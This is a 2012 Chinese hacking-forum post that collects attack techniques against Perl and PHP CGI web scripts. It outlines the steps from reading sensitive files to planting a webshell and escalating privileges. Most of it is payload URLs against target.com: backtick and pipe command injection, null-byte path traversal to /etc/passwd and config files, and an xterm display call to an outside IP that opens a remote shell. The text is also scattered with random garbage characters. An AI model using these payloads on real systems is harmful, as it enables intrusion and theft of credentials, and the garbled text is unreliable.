找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2458|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
7 [5 H# e4 U1 Pcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
# Y, M, |* s6 o1 G0 P7 D感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  * N6 s4 ?1 v- l) A6 L
注“  - o2 E6 [. B, i0 t* `7 A. w$ ^6 r
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  , s( }8 r* z9 r# U* G3 y
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  # P7 ~1 M; X5 o5 M" }
: c" e1 j: f1 _7 \
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  " N- b3 P) N# H7 |' e
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  ( `) V: l+ d4 H* Y; {
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
) s. E$ ^/ N! v* `http://target.com/cgi-bin/home/news/sub.pl?`id`  
0 O. W4 o/ L0 d/ xhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  4 v  {9 w$ n  ?
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  + ?4 K" s  D* G2 i. P

  W! D7 j- r* G* K( F+ `http://target.com/test.pl;ls|  * r' @" ^& U" ]- s
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
# T# K. r1 p- N3 r# ?http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
5 q' @# p, R" o8 A2 m4 J/ chttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  / p  h# C6 B* t5 ~& j% D6 [
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
8 M5 D2 I+ n$ Ehttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  ' k/ Z$ }) J- H0 t/ j2 \
: Z  G" G, L/ |; @, t! J
http://target.com/test.pl?&........ /../../etc/passwd  7 q& r7 N+ X+ I

: X" u& z4 m. w7 e6 J% _# Lhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
$ c+ S' u% c; m, X8 Hhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  1 ~+ s+ ?" s% X! u/ V
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
  e+ o- C/ h. X. f4 L- B
1 s9 u5 [' `! w4 V/ Lhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
, C6 j9 }! b- D- r4 c3 R% |& jhttp://www.target.org/show.php?f ... ng/admin/global.php  
) `2 {9 b. t( [; ^0 R2 ?0 y
) s1 ^- |, M3 k' Y+ W  u9 A7 A; Eemm和ps的一句话. S  J* x* G0 v0 k- R; G- v! q* F: N! ]

  f, ~7 y- J; f1 l, ihttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  5 n# L0 Z0 R) J& ^# b
1 h6 C$ Z, d1 j; I% k$ n
>bbb%20|  
" o' J. N" d7 k0 ]. v2 ^; A: W0 c
8 W! H9 Z$ M4 ~* Thttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
1 a/ J; I# b' t: A' r
9 T2 Y, [: q. J0 c, m$ h) O3 b9 zhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
  C9 [% S* ?- l; {0 S1 |http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
) x. F2 B- Z2 ?: y1 P. c9 N, Z4 S8 t5 a. B1 D1 o! x
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
) V; ~. K) r; t$ |% p9 Thttp://target.com/index.html#cmd.exe  
* {; T! z9 [. t! _* i* [http://target.com/index.html?dummyparam=xp_cmdshell  
$ Q2 h. i8 n* O2 vlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  ! e& T" I' d  f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表